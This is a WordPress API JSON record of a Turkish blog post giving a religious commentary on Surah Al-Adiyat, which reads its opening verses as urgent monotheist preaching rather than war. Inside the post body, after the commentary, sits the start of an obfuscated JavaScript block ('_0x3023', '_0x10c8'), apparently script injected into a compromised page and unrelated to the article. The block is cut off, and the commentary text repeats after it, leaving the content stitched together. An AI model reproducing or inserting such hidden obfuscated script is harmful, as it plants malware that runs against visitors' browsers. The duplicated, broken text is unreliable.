{"id":1622,"date":"2020-05-30T19:53:19","date_gmt":"2020-05-30T19:53:19","guid":{"rendered":"https:\/\/mucahede.com\/genel\/adiyat-suresi-tevhidi-mucadele-metodu-topyekun-bir-inkilabi-ongorur\/"},"modified":"2020-05-30T19:53:19","modified_gmt":"2020-05-30T19:53:19","slug":"adiyat-suresi-tevhidi-mucadele-metodu-topyekun-bir-inkilabi-ongorur","status":"publish","type":"post","link":"https:\/\/mucahede.com\/videolar\/adiyat-suresi-tevhidi-mucadele-metodu-topyekun-bir-inkilabi-ongorur\/","title":{"rendered":"\u00c2diyat Suresi, Tevhidi m\u00fccadele metodu, topyek\u00fbn bir ink\u0131lab\u0131 \u00f6ng\u00f6r\u00fcr"},"content":{"rendered":"

<\/iframe><\/p>\nVahyi esaslar, nazil olduklar\u0131 her d\u00f6nemde, insanlar \u00fczerinde \u00e7ok b\u00fcy\u00fck etki yapm\u0131\u015f, onu kabul edenlere, bamba\u015fka bir ya\u015fam sunmu\u015f, onlar\u0131 y\u00fcceltmi\u015f, insan olman\u0131n onuruna y\u00fckseltmi\u015ftir. Buna kar\u015f\u0131n insanlar\u0131n Rab\u2019lerine y\u00f6nelmelerine engel olan, insanlar \u00fczerinde kurduklar\u0131 s\u00f6m\u00fcr\u00fc \u00e7arklar\u0131n\u0131n bitmesini istemeyen k\u00fcf\u00fcr ve \u015firk \u00e7evreleri ile \u00e7\u0131kar gruplar\u0131, vahyi esaslar\u0131n, insanlar \u00fczerindeki etkisini engellemek i\u00e7in var g\u00fc\u00e7leriyle \u00e7al\u0131\u015fm\u0131\u015flard\u0131r. \nK\u00fcf\u00fcr ve \u015firk ehli, her d\u00f6nemde vahyi esaslar\u0131n insanlara ula\u015fmas\u0131n\u0131 engellemek, insanlar \u00fczerindeki etkisini azaltmak i\u00e7in \u00e7e\u015fitli yollara ba\u015fvurmu\u015flard\u0131r. Onlar\u0131n bu engelleme \u00e7abalar\u0131, Kur\u2019an\u2019a kar\u015f\u0131 da devam etmi\u015f, Kur\u2019an\u2019\u0131n insanlara ula\u015fmas\u0131n\u0131, onlar\u0131 etkilemesini engellemeye \u00e7al\u0131\u015fm\u0131\u015flard\u0131r. \nK\u00fcf\u00fcr ve \u015firk ehli, ilahi mesaj\u0131 insanlar \u00fczerinde etkisiz k\u0131lman\u0131n, onu ya\u015fan\u0131r halden \u00e7\u0131karman\u0131n, oldu\u011fundan farkl\u0131 bir h\u00e2le d\u00f6n\u00fc\u015ft\u00fcrmenin en etkin yolunun, Tevhidi m\u00fccadeleye hayatiyet kazand\u0131ran kavramlar\u0131n i\u00e7ini bo\u015faltmaktan, kavramlara oldu\u011fundan ba\u015fka anlamlar y\u00fcklemekten ge\u00e7ti\u011fini \u00e7ok iyi biliyorlard\u0131. Bu nedenle onlar, Kur\u2019an\u2019a kar\u015f\u0131 \u00e7\u0131kmak, ona ve onu kabul edenlere sava\u015f a\u00e7mak yerine Kur\u2019ani kavramlar\u0131n i\u00e7ini bo\u015faltmay\u0131, anlamlar\u0131n\u0131 de\u011fi\u015ftirmeyi se\u00e7tiler ve maalesef bu konuda k\u0131smen ba\u015far\u0131l\u0131 da oldular. \nK\u00fcf\u00fcr ve \u015firk ehli, y\u00fczy\u0131llar boyunca \u0130sl\u00e2mi esaslar\u0131, fiili sald\u0131r\u0131larla ve de\u011fi\u015fik propaganda ara\u00e7lar\u0131yla hayattan kald\u0131rmak i\u00e7in \u00e7al\u0131\u015ft\u0131lar, ancak hi\u00e7bir zaman bu ama\u00e7lar\u0131na ula\u015famad\u0131lar. \u0130sl\u00e2m\u00ee esaslar\u0131 hayattan kald\u0131rmaya muvaffak olamayan k\u00e2fir ve m\u00fc\u015frikler, ona hayatiyet veren kavramlar\u0131n anlamlar\u0131n\u0131 de\u011fi\u015ftirerek bozmaya \u00e7al\u0131\u015ft\u0131lar, b\u00f6ylece \u0130sl\u00e2m\u2019\u0131n insanlar \u00fczerindeki etkisini yok etmeye muvaffak oldular. \n\u00c2diyat suresi de \u0130sl\u00e2m kar\u015f\u0131t\u0131 g\u00fc\u00e7lerin, bid\u2019at ve hurafecilerin \u00e7arp\u0131tmalar\u0131ndan nasibini alm\u0131\u015ft\u0131r. Suredeki aksiyoner \u0130sl\u00e2mi davet metodu ve \u0130sl\u00e2m davet\u00e7ilerinin \u00e7abalar\u0131 \u00e2deta ink\u00e2r edilmi\u015f, sureye, surenin ana konusu ile hi\u00e7bir ilgisi olmayan anlamlar y\u00fcklenmi\u015f, b\u00f6ylece surenin vermek istedi\u011fi as\u0131l mesaj \u00f6rtbas edilmi\u015ftir. \n\u00c2diyat suresi, vahyi esaslar\u0131 y\u00fcklenen Risalet \u00f6nderlerinin ve Tevhid erlerinin, daveti ortaya koyu\u015flar\u0131n\u0131, kendi toplumlar\u0131na vahyi esaslar\u0131 nas\u0131l ula\u015ft\u0131rd\u0131klar\u0131n\u0131 anlatmaktad\u0131r. Onlar, y\u00fcce Allah\u2019tan ba\u015fka kimseden korkup \u00e7ekinmeden, Tevhidi esaslar\u0131 gizlemeden, a\u00e7\u0131k\u00e7a ortaya koymu\u015flar, i\u00e7erisinde ya\u015fad\u0131klar\u0131 \u015firk toplumlar\u0131n\u0131n kar\u015f\u0131 \u00e7\u0131k\u0131\u015flar\u0131na, egemen despot idareci ve y\u00f6netimlerin bask\u0131 ve zul\u00fcmlerine ra\u011fmen Hakk\u2019\u0131 insanlara duyurmu\u015flar, onlar\u0131 y\u00fcce Allah\u2019a iman etmeye ve yaln\u0131zca O\u2019na kulluk yapmaya \u00e7a\u011f\u0131rm\u0131\u015flard\u0131r. \n\u00c2diyat suresi, el\u00e7ilerin daveti ortaya koyu\u015f metotlar\u0131n\u0131, bu davete kar\u015f\u0131 toplumlar\u0131n g\u00f6sterdikleri tepkiyi ve kar\u015f\u0131 \u00e7\u0131k\u0131\u015flar\u0131n\u0131 g\u00f6stermekte, Kur\u2019an\u2019da m\u00fccadele metodunun nas\u0131l yap\u0131ld\u0131\u011f\u0131n\u0131 ortaya koymaktad\u0131r. \nSurenin a\u00e7\u0131klamas\u0131 \n1-2- Andolsun nefes nefese ileri at\u0131lanlara, b\u00f6ylece k\u0131v\u0131lc\u0131m \u00e7\u0131kar\u0131p (karanl\u0131\u011f\u0131) delenlere, \nBir tela\u015f, bir ko\u015fu\u015fturma, bir m\u00fccadele ve heyecan ortam\u0131n\u0131n en doruk noktas\u0131na i\u015faret eden bu ayetler, \u00e7ok \u00f6nemli bir durumu ortaya koymaktad\u0131r. Bu \u00f6nemli durum nedir ki, soluk solu\u011fa kal\u0131nm\u0131\u015f bir halde toplumun i\u00e7erisine girilerek ortal\u0131k toz dumana d\u00f6n\u00fc\u015ft\u00fcr\u00fcl\u00fcyor! \nKimilerine g\u00f6re bu ayetler, burunlar\u0131ndan soluyarak ko\u015fan, ko\u015ftuk\u00e7a t\u0131rnaklar\u0131ndan ate\u015f \u00e7\u0131karan, doludizgin bir halde sabahleyin ak\u0131n eden, tozu dumana katarak bir toplulu\u011fun ortas\u0131na dalan atlara i\u015faret etmektedir. Onlara g\u00f6re bu ayetler, bir sava\u015f ortam\u0131n\u0131 anlat\u0131yor. \nBu ayetleri b\u00f6yle tefsir edenler, bu ayetlerin Mekki oldu\u011funu ve Mekke d\u00f6neminde sava\u015fa izin verilmedi\u011fini unutmaktad\u0131rlar. Peki, nas\u0131l olur da bu ayetlerin, o g\u00fcnk\u00fc M\u00fcsl\u00fcmanlara bir sava\u015f ortam\u0131n\u0131 g\u00f6sterdi\u011fi iddia edilebiliyor! \nBu iddiac\u0131lar\u0131n iddialar\u0131na g\u00f6re o g\u00fcn, bask\u0131 ve i\u015fkence alt\u0131nda inleyen M\u00fcsl\u00fcmanlara, b\u00f6yle bir sava\u015f ortam\u0131n\u0131n anlat\u0131lmas\u0131 onlar\u0131 z\u0131mmen sava\u015fa te\u015fvik etmektir. Bu anlat\u0131m, Rasulullah (as)\u2019dan s\u00fcrekli olarak bir \u00e7\u0131k\u0131\u015f yolu soran, kendilerine yap\u0131lan zulme ve i\u015fkenceye kar\u015f\u0131l\u0131k vermek i\u00e7in izin isteyen sahabeye, sava\u015f i\u00e7in ruhsat vermektir. \nSaffat suresindeki bu ayetler, \u00c2diyat suresinin ilk d\u00f6rt ayetiyle bir b\u00fct\u00fcnl\u00fck sa\u011flamaktad\u0131r. Saffat suresinde \u201cSaf saf olanlar, b\u00f6ylece men ettik\u00e7e men edenler, sonra birbiri ard\u0131nca davet edenler,\u201d insanlara \u201c\u015e\u00fcphesiz ilah\u0131n\u0131z elbette birdir,\u201d diyerek ilahlar\u0131n\u0131n tek bir ilah oldu\u011funu bildirmektedirler. \nBu, elbette s\u0131radan bir davet de\u011fil, \u00c2diyat suresinin \u201cNefes nefese ileri at\u0131lanlar, k\u0131v\u0131lc\u0131m \u00e7\u0131kar\u0131p (karanl\u0131\u011f\u0131) delenler\u201d ayetlerinde belirtildi\u011fi \u00fczere davet\u00e7iler, toplumda f\u0131rt\u0131nalar koparmakta, bir k\u0131v\u0131lc\u0131mla ortal\u0131\u011f\u0131 yang\u0131n yerine d\u00f6n\u00fc\u015ft\u00fcrmektedirler. Tabiiki bu k\u0131v\u0131lc\u0131m da toplumun yabanc\u0131s\u0131 oldu\u011fu, adeta ink\u00e2r etti\u011fi y\u00fcce Allah\u2019\u0131n uluhiyetinin ortaya konulmas\u0131d\u0131r, ilah\u0131n\u0131z tek Bir ilaht\u0131r. \n\u201cNefes nefese ileri at\u0131lmak,\u201d hitab\u0131, oturuldu\u011fu yerden yap\u0131lan bir hareket de\u011fil bir haberin getirilmesinde o haberin \u00f6nemine ve aciliyetine binaen h\u0131zl\u0131 ve ko\u015farak duyurulmas\u0131d\u0131r. Bu \u00f6nemli haber insanlara, il\u00e2hlar\u0131n\u0131n Bir oldu\u011funun bildirilmesi, onlara ayd\u0131nl\u0131\u011f\u0131n getirilmesidir.<\/p>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buna kar\u015f\u0131n insanlar\u0131n Rab\u2019lerine y\u00f6nelmelerine engel olan, insanlar \u00fczerinde kurduklar\u0131 s\u00f6m\u00fcr\u00fc \u00e7arklar\u0131n\u0131n bitmesini istemeyen k\u00fcf\u00fcr ve \u015firk \u00e7evreleri ile \u00e7\u0131kar gruplar\u0131, vahyi esaslar\u0131n, insanlar \u00fczerindeki etkisini engellemek i\u00e7in var g\u00fc\u00e7leriyle \u00e7al\u0131\u015fm\u0131\u015flard\u0131r. \nK\u00fcf\u00fcr ve \u015firk ehli, her d\u00f6nemde vahyi esaslar\u0131n insanlara ula\u015fmas\u0131n\u0131 engellemek, insanlar \u00fczerindeki etkisini azaltmak i\u00e7in \u00e7e\u015fitli yollara ba\u015fvurmu\u015flard\u0131r. Onlar\u0131n bu engelleme \u00e7abalar\u0131, Kur\u2019an\u2019a kar\u015f\u0131 da devam etmi\u015f, Kur\u2019an\u2019\u0131n insanlara ula\u015fmas\u0131n\u0131, onlar\u0131 etkilemesini engellemeye \u00e7al\u0131\u015fm\u0131\u015flard\u0131r. \nK\u00fcf\u00fcr ve \u015firk ehli, ilahi mesaj\u0131 insanlar \u00fczerinde etkisiz k\u0131lman\u0131n, onu ya\u015fan\u0131r halden \u00e7\u0131karman\u0131n, oldu\u011fundan farkl\u0131 bir h\u00e2le d\u00f6n\u00fc\u015ft\u00fcrmenin en etkin yolunun, Tevhidi m\u00fccadeleye hayatiyet kazand\u0131ran kavramlar\u0131n i\u00e7ini bo\u015faltmaktan, kavramlara oldu\u011fundan ba\u015fka anlamlar y\u00fcklemekten ge\u00e7ti\u011fini \u00e7ok iyi biliyorlard\u0131. Bu nedenle onlar, Kur\u2019an\u2019a kar\u015f\u0131 \u00e7\u0131kmak, ona ve onu kabul edenlere sava\u015f a\u00e7mak yerine Kur\u2019ani kavramlar\u0131n i\u00e7ini bo\u015faltmay\u0131, anlamlar\u0131n\u0131 de\u011fi\u015ftirmeyi se\u00e7tiler ve maalesef bu konuda k\u0131smen ba\u015far\u0131l\u0131 da oldular. \nK\u00fcf\u00fcr ve \u015firk ehli, y\u00fczy\u0131llar boyunca \u0130sl\u00e2mi esaslar\u0131, fiili sald\u0131r\u0131larla ve de\u011fi\u015fik propaganda ara\u00e7lar\u0131yla hayattan kald\u0131rmak i\u00e7in \u00e7al\u0131\u015ft\u0131lar, ancak hi\u00e7bir zaman bu ama\u00e7lar\u0131na ula\u015famad\u0131lar. \u0130sl\u00e2m\u00ee esaslar\u0131 hayattan kald\u0131rmaya muvaffak olamayan k\u00e2fir ve m\u00fc\u015frikler, ona hayatiyet veren kavramlar\u0131n anlamlar\u0131n\u0131 de\u011fi\u015ftirerek bozmaya \u00e7al\u0131\u015ft\u0131lar, b\u00f6ylece \u0130sl\u00e2m\u2019\u0131n insanlar \u00fczerindeki etkisini yok etmeye muvaffak oldular. \n\u00c2diyat suresi de \u0130sl\u00e2m kar\u015f\u0131t\u0131 g\u00fc\u00e7lerin, bid\u2019at ve hurafecilerin \u00e7arp\u0131tmalar\u0131ndan nasibini alm\u0131\u015ft\u0131r. Suredeki aksiyoner \u0130sl\u00e2mi davet metodu ve \u0130sl\u00e2m davet\u00e7ilerinin \u00e7abalar\u0131 \u00e2deta ink\u00e2r edilmi\u015f, sureye, surenin ana konusu ile hi\u00e7bir ilgisi olmayan anlamlar y\u00fcklenmi\u015f, b\u00f6ylece surenin vermek istedi\u011fi as\u0131l mesaj \u00f6rtbas edilmi\u015ftir. \n\u00c2diyat suresi, vahyi esaslar\u0131 y\u00fcklenen Risalet \u00f6nderlerinin ve Tevhid erlerinin, daveti ortaya koyu\u015flar\u0131n\u0131, kendi toplumlar\u0131na vahyi esaslar\u0131 nas\u0131l ula\u015ft\u0131rd\u0131klar\u0131n\u0131 anlatmaktad\u0131r. Onlar, y\u00fcce Allah\u2019tan ba\u015fka kimseden korkup \u00e7ekinmeden, Tevhidi esaslar\u0131 gizlemeden, a\u00e7\u0131k\u00e7a ortaya koymu\u015flar, i\u00e7erisinde ya\u015fad\u0131klar\u0131 \u015firk toplumlar\u0131n\u0131n kar\u015f\u0131 \u00e7\u0131k\u0131\u015flar\u0131na, egemen despot idareci ve y\u00f6netimlerin bask\u0131 ve zul\u00fcmlerine ra\u011fmen Hakk\u2019\u0131 insanlara duyurmu\u015flar, onlar\u0131 y\u00fcce Allah\u2019a iman etmeye ve yaln\u0131zca O\u2019na kulluk yapmaya \u00e7a\u011f\u0131rm\u0131\u015flard\u0131r. \n\u00c2diyat suresi, el\u00e7ilerin daveti ortaya koyu\u015f metotlar\u0131n\u0131, bu davete kar\u015f\u0131 toplumlar\u0131n g\u00f6sterdikleri tepkiyi ve kar\u015f\u0131 \u00e7\u0131k\u0131\u015flar\u0131n\u0131 g\u00f6stermekte, Kur\u2019an\u2019da m\u00fccadele metodunun nas\u0131l yap\u0131ld\u0131\u011f\u0131n\u0131 ortaya koymaktad\u0131r. \nSurenin a\u00e7\u0131klamas\u0131 \n1-2- Andolsun nefes nefese ileri at\u0131lanlara, b\u00f6ylece k\u0131v\u0131lc\u0131m \u00e7\u0131kar\u0131p (karanl\u0131\u011f\u0131) delenlere, \nBir tela\u015f, bir ko\u015fu\u015fturma, bir m\u00fccadele ve heyecan ortam\u0131n\u0131n en doruk noktas\u0131na i\u015faret eden bu ayetler, \u00e7ok \u00f6nemli bir durumu ortaya koymaktad\u0131r. Bu \u00f6nemli durum nedir ki, soluk solu\u011fa kal\u0131nm\u0131\u015f bir halde toplumun i\u00e7erisine girilerek ortal\u0131k toz dumana d\u00f6n\u00fc\u015ft\u00fcr\u00fcl\u00fcyor! \nKimilerine g\u00f6re bu ayetler, burunlar\u0131ndan soluyarak ko\u015fan, ko\u015ftuk\u00e7a t\u0131rnaklar\u0131ndan ate\u015f \u00e7\u0131karan, doludizgin bir halde sabahleyin ak\u0131n eden, tozu dumana katarak bir toplulu\u011fun ortas\u0131na dalan atlara i\u015faret etmektedir. Onlara g\u00f6re bu ayetler, bir sava\u015f ortam\u0131n\u0131 anlat\u0131yor. \nBu ayetleri b\u00f6yle tefsir edenler, bu ayetlerin Mekki oldu\u011funu ve Mekke d\u00f6neminde sava\u015fa izin verilmedi\u011fini unutmaktad\u0131rlar. Peki, nas\u0131l olur da bu ayetlerin, o g\u00fcnk\u00fc M\u00fcsl\u00fcmanlara bir sava\u015f ortam\u0131n\u0131 g\u00f6sterdi\u011fi iddia edilebiliyor! \nBu iddiac\u0131lar\u0131n iddialar\u0131na g\u00f6re o g\u00fcn, bask\u0131 ve i\u015fkence alt\u0131nda inleyen M\u00fcsl\u00fcmanlara, b\u00f6yle bir sava\u015f ortam\u0131n\u0131n anlat\u0131lmas\u0131 onlar\u0131 z\u0131mmen sava\u015fa te\u015fvik etmektir. Bu anlat\u0131m, Rasulullah (as)\u2019dan s\u00fcrekli olarak bir \u00e7\u0131k\u0131\u015f yolu soran, kendilerine yap\u0131lan zulme ve i\u015fkenceye kar\u015f\u0131l\u0131k vermek i\u00e7in izin isteyen sahabeye, sava\u015f i\u00e7in ruhsat vermektir. \nSaffat suresindeki bu ayetler, \u00c2diyat suresinin ilk d\u00f6rt ayetiyle bir b\u00fct\u00fcnl\u00fck sa\u011flamaktad\u0131r. Saffat suresinde \u201cSaf saf olanlar, b\u00f6ylece men ettik\u00e7e men edenler, sonra birbiri ard\u0131nca davet edenler,\u201d insanlara \u201c\u015e\u00fcphesiz ilah\u0131n\u0131z elbette birdir,\u201d diyerek ilahlar\u0131n\u0131n tek bir ilah oldu\u011funu bildirmektedirler. \nBu, elbette s\u0131radan bir davet de\u011fil, \u00c2diyat suresinin \u201cNefes nefese ileri at\u0131lanlar, k\u0131v\u0131lc\u0131m \u00e7\u0131kar\u0131p (karanl\u0131\u011f\u0131) delenler\u201d ayetlerinde belirtildi\u011fi \u00fczere davet\u00e7iler, toplumda f\u0131rt\u0131nalar koparmakta, bir k\u0131v\u0131lc\u0131mla ortal\u0131\u011f\u0131 yang\u0131n yerine d\u00f6n\u00fc\u015ft\u00fcrmektedirler. Tabiiki bu k\u0131v\u0131lc\u0131m da toplumun yabanc\u0131s\u0131 oldu\u011fu, adeta ink\u00e2r etti\u011fi y\u00fcce Allah\u2019\u0131n uluhiyetinin ortaya konulmas\u0131d\u0131r, ilah\u0131n\u0131z tek Bir ilaht\u0131r. \n\u201cNefes nefese ileri at\u0131lmak,\u201d hitab\u0131, oturuldu\u011fu yerden yap\u0131lan bir hareket de\u011fil bir haberin getirilmesinde o haberin \u00f6nemine ve aciliyetine binaen h\u0131zl\u0131 ve ko\u015farak duyurulmas\u0131d\u0131r. Bu \u00f6nemli haber insanlara, il\u00e2hlar\u0131n\u0131n Bir oldu\u011funun bildirilmesi, onlara ayd\u0131nl\u0131\u011f\u0131n getirilmesidir.<\/p>\n","protected":false},"author":2,"featured_media":1837,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1622"}],"collection":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/comments?post=1622"}],"version-history":[{"count":0,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1622\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media\/1837"}],"wp:attachment":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media?parent=1622"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/categories?post=1622"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/tags?post=1622"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}